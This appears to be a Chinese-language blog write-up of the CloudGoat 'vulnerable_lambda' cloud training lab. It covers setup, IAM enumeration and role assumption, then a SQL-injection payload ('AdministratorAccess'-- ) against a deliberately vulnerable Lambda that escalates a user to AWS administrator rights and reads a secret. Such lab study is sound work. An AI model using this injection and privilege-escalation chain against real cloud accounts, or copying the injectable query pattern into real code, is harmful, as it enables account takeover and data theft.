CloudGoat (☁️🐐)靶场初体验

一个开源的云靶场:https://github.com/RhinoSecurityLabs/cloudgoat/

体验顺便学习一下📖

安装 & 配置

安装前确保机器:

  • Linux or MacOS. Windows is not officially supported.
    • Argument tab-completion requires bash 4.2+ (Linux, or OSX with some difficulty).
  • Python3.6+ is required.
  • Terraform >= 0.14 installed and in your $PATH.
  • The AWS CLI installed and in your $PATH, and an AWS account with sufficient privileges to create and destroy resources.
  • jq

安装流程

git clone https://github.com/RhinoSecurityLabs/cloudgoat.git
cd cloudgoat
python3 -m venv .venv
source .venv/bin/activate
pip3 install -r ./requirements.txt
chmod +x cloudgoat.py

然后是两步初始化

./cloudgoat.py config profile
./cloudgoat.py config whitelist --auto

cloudgoat会使用本机上 AWS CLI 的配置。编辑配置文件~/.aws/credentials,添加cloudgoat所用的AWS账户的文件段[skyblu3]
image.png

./cloudgoat.py config profile输入
image.png

第二步是配置云上可以部署的IP列表,云上没什么东西的话就直接--auto自动生成

靶场初体验

靶场搭建

cloudgoat中有17个靶场,在Github页面的Scenarios Available部分可以导航到每个靶场的详情页面。点击第一个vulnerable_lambda靶场。
image.png

靶场的文档中包含启动的命令、资源列表和攻击路径,在旁边的目录列表也可以看到生成该靶场的tf代码
image.png

接下来启动这个靶场

./cloudgoat.py create vulnerable_lambda

生成成功后拿到这个靶场的初始访问用户
image.png

现在就可以开始渗透了

渗透开始

首先看下这个靶场的总结

在此场景中,您以“bilbo”用户身份开始。您将扮演一个具有更多权限的角色,发现一个将策略应用于用户的 lambda 函数,并利用该函数中的漏洞来提升 bilbo 用户的权限以搜索秘密。

用提供的凭证登录bilbo用户
image.png

策略挖掘,可以看到用户的内联策略

aws iam list-user-policies --user-name cg-bilbo-vulnerable_lambda_cgidi6d2661463
image.png

查看策略具体内容

aws iam get-user-policy --user-name cg-bilbo-vulnerable_lambda_cgidi6d2661463 --policy-name cg-bilbo-vulnerable_lambda_cgidi6d2661463-standard-user-assumer
{
    "UserName": "cg-bilbo-vulnerable_lambda_cgidi6d2661463",
    "PolicyName": "cg-bilbo-vulnerable_lambda_cgidi6d2661463-standard-user-assumer",
    "PolicyDocument": {
        "Version": "2012-10-17",
        "Statement": [
            {
                "Action": "sts:AssumeRole",
                "Effect": "Allow",
                "Resource": "arn:aws:iam::940877411605:role/cg-lambda-invoker*",
                "Sid": ""
            },
            {
                "Action": [
                    "iam:Get*",
                    "iam:List*",
                    "iam:SimulateCustomPolicy",
                    "iam:SimulatePrincipalPolicy"
                ],
                "Effect": "Allow",
                "Resource": "*",
                "Sid": ""
            }
        ]
    }
}

可以看到该用户对IAM下的所有资源都有List/Get权限!同时他还可以扮演一个cg-lambda-invoker角色。列出所有IAM角色

aws iam list-roles --query "Roles[*].RoleName"
[
    "AWSServiceRoleForRDS",
    "AWSServiceRoleForResourceExplorer",
    "AWSServiceRoleForSupport",
    "AWSServiceRoleForTrustedAdvisor",
    "cg-lambda-invoker-vulnerable_lambda_cgidi6d2661463",
    "vulnerable_lambda_cgidi6d2661463-policy_applier_lambda1"
]

cg-lambda-invoker-vulnerable_lambda_cgidi6d2661463应该就是下一步要扮演的角色了。不过在assume之前,先看下该角色的策略。另外我对vulnerable_lambda_cgidi6d2661463-policy_applier_lambda1这个角色也挺感兴趣的(毕竟我们有iam:List*/iam:Get*)。

首先看下vulnerable_lambda_cgidi6d2661463-policy_applier_lambda1,这似乎是cloudgoat用来给靶场中的用户赋权的,同时它还有一个推送日志的权限,似乎是给CloudTrail使用的。

aws iam list-role-policies --role-name vulnerable_lambda_cgidi6d2661463-policy_applier_lambda1
aws iam get-role-policy --role-name vulnerable_lambda_cgidi6d2661463-policy_applier_lambda1 --policy-name policy_applier_lambda1
image.png

然后是cg-lambda-invoker-vulnerable_lambda_cgidi6d2661463,它包含对一个Lambda的大部分操作

aws iam list-role-policies --role-name cg-lambda-invoker-vulnerable_lambda_cgidi6d2661463
aws iam get-role-policy --role-name cg-lambda-invoker-vulnerable_lambda_cgidi6d2661463 --policy-name lambda-invoker
image.png

现在Assume这个Role

aws sts assume-role --role-arn arn:aws:iam::637423561540:role/cg-lambda-invoker-vulnerable_lambda_cgidi6d2661463 --role-session-name lambda_invoker
image.png

查看function的信息,在Code.Location位置找到函数源码的下载链接

aws lambda get-function --function-name vulnerable_lambda_cgidi6d2661463-policy_applier_lambda1
image.png

解压源码zip
image.png

打开main.py

import boto3
from sqlite_utils import Database

db = Database("my_database.db")
iam_client = boto3.client('iam')


# db["policies"].insert_all([
#     {"policy_name": "AmazonSNSReadOnlyAccess", "public": 'True'}, 
#     {"policy_name": "AmazonRDSReadOnlyAccess", "public": 'True'},
#     {"policy_name": "AWSLambda_ReadOnlyAccess", "public": 'True'},
#     {"policy_name": "AmazonS3ReadOnlyAccess", "public": 'True'},
#     {"policy_name": "AmazonGlacierReadOnlyAccess", "public": 'True'},
#     {"policy_name": "AmazonRoute53DomainsReadOnlyAccess", "public": 'True'},
#     {"policy_name": "AdministratorAccess", "public": 'False'}
# ])


def handler(event, context):
    target_policys = event['policy_names']
    user_name = event['user_name']
    print(f"target policys are : {target_policys}")

    for policy in target_policys:
        statement_returns_valid_policy = False
        statement = f"select policy_name from policies where policy_name='{policy}' and public='True'"
        for row in db.query(statement):
            statement_returns_valid_policy = True
            print(f"applying {row['policy_name']} to {user_name}")
            response = iam_client.attach_user_policy(
                UserName=user_name,
                PolicyArn=f"arn:aws:iam::aws:policy/{row['policy_name']}"
            )
            print("result: " + str(response['ResponseMetadata']['HTTPStatusCode']))

        if not statement_returns_valid_policy:
            invalid_policy_statement = f"{policy} is not an approved policy, please only choose from approved " \
                                       f"policies and don't cheat. :) "
            print(invalid_policy_statement)
            return invalid_policy_statement

    return "All managed policies were applied as expected."


if __name__ == "__main__":
    payload = {
        "policy_names": [
            "AmazonSNSReadOnlyAccess",
            "AWSLambda_ReadOnlyAccess"
        ],
        "user_name": "cg-bilbo-user"
    }
    print(handler(payload, 'uselessinfo'))

这个函数可以给一个IAM用户赋权,可用的权限就是my_database.dbpublic值为True的几个

AmazonSNSReadOnlyAccess
AmazonRDSReadOnlyAccess
AWSLambda_ReadOnlyAccess
AmazonS3ReadOnlyAccess
AmazonGlacierReadOnlyAccess
AmazonRoute53DomainsReadOnlyAccess

但是用于判断权限是否符合要求的SQL语句statement没有对输入进行检查,而后面用来赋权的attach_user_policy函数用的确实查询出来的row['policy_name']。那我们可以输入AdministratorAccess'-- (使用sqlite的注释)进行注入,给用户赋予一个AWS托管权限arn:aws:iam::aws:policy/AdministratorAccess。这个权限是AWS的最高权限,可以对云上的所有资源进行访问。

statement = f"select policy_name from policies where policy_name='{policy}' and public='True'"
image.png

编写payload.json

{
    "policy_names": [
        "AdministratorAccess'-- "
    ],
    "user_name": "cg-bilbo-vulnerable_lambda_cgidi6d2661463"
}

调用函数权限已被设置

aws lambda invoke --function-name vulnerable_lambda_cgidi6d2661463-policy_applier_lambda1 --payload file://payload.json output && cat output
image.png

切换回原来的用户,aws configure set aws_session_token ""清空session token。查看用户的托管策略,AdministratorAccess已被成功赋予

aws iam list-attached-user-policies --user-name cg-bilbo-vulnerable_lambda_cgidi6d2661463
image.png

现在我们已经可以访问云上的所有资源了!列出secret

aws secretsmanager list-secrets --query 'SecretList[*].[Name, Description, ARN]' --output json
image.png

读取flag

aws secretsmanager get-secret-value --secret-id vulnerable_lambda_cgidi6d2661463-final_flag  
image.png

攻击路径

再看下靶场给的攻击路径,和我们的流程几乎一样。还是挺简单的。
image.png

解语

最后简单浏览下它的tf目录结构,这里云上每个类型的资源都用了单独的文件写。其他的就是一些必要数据源和变量输入输出。
image.png

实验结束,输入./cloudgoat.py destroy vulnerable_lambda清空资源以免产生额外的计费
image.png

画饼:学习这个项目的代码流程,重点是tf代码的编写